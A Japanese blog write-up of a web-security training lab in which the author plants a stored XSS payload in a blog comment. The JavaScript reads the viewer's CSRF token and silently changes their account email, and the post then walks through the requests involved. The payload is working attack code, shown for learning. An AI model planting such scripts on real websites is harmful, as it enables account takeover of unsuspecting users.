Shikata Ga Nai

Private? There is no such things.

Exploiting XSS to perform CSRFをやってみた

Hello there, ('ω')ノ

 

XSSを活用してCSRFを実行を。

このラボではブログのコメント機能に脆弱性があって。

脆弱性を悪用してCSRF攻撃 で、ブログ投稿のコメントを表示する人の。

電子メールアドレスを変更せよと。

 

まずは、ログインして。

 

f:id:ThisIsOne:20210327130047p:plain

 

アカウントページで、メールアドレスを更新できて。

ソースコードにはhiddenの文字とcsrfトークンが。

 

f:id:ThisIsOne:20210327130335p:plain

 

下記のスクリプトを投稿することに。

サーバと対話してデータを取得するためにXMLHttpRequestオブジェクトを作成して。

受信が成功したら、handleResponse()がよびだされて。

 

 handleResponse()では、トークンを取得して。

 別途、メールアドレス変更用にXMLHttpRequestオブジェクトを作成して。

 trueで、/my-account/change-emailへのリクエストを非同期指定してから。

 メールアドレス変更のリクエストを送信して。

 

trueで、/my-accountへのリクエストを非同期指定してから。

最後に送信して。


<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;


req.open('get','/my-account',true);
req.send();


function handleResponse() {
 var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
 var changeReq = new XMLHttpRequest();
 changeReq.open('post', '/my-account/change-email', true);
 changeReq.send('csrf='+token+'&email=test@test.com')
};
</script>

 

f:id:ThisIsOne:20210327130515p:plain

 

クリアできた。

 

f:id:ThisIsOne:20210327130605p:plain

 

ブログにもどって。

 

f:id:ThisIsOne:20210327130639p:plain

 

My Accountを確認すると、wienerのメールアドレスが変更されていて。

コメントを表示した人はPOSTリクエストを発行して。

メールアドレスがtest@test.comに変更されるわけで。

 

f:id:ThisIsOne:20210327130725p:plain

 

メールアドレスが変更される動作を振り返ってみると。

ログインして、My Accountへアクセスすると下記のURLで。

 

 https://ac571fd41edf42e180cf07400076008a.web-security-academy.net/my-account?id=wiener

 

f:id:ThisIsOne:20210327131759p:plain

 

リクエストボディは以下のようで。

 

f:id:ThisIsOne:20210327131837p:plain

 

Updateすると、下記のURLが呼ばれて。

 

 POST /my-account/change-email

 

リクエストボディには、下記のトークンが。

 

 email=user%40mail.com&csrf=HiiS8sBzu6Ns1axfMssZUXakWJlhIKl0

 

f:id:ThisIsOne:20210327131940p:plain

 

ログインの際には。

 

f:id:ThisIsOne:20210327132448p:plain

 

Log inから下記のURLが呼ばれて。

これがスクリプトの流れで。

 

 GET /my-account

 

f:id:ThisIsOne:20210327132521p:plain

 

Best regards, (^^ゞ